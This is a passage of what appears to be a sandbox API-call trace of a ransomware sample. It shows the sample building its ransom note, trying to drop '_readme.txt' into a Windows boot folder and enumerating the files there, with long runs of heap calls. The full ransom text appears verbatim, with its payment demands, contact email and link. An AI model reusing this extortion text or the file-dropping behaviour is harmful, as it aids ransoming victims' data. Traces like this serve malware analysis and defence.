hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.261] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.261] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.261] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.261] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.261] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.261] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.261] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.261] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.261] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.262] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.262] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.262] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.262] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.262] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.263] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.264] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.264] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.265] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 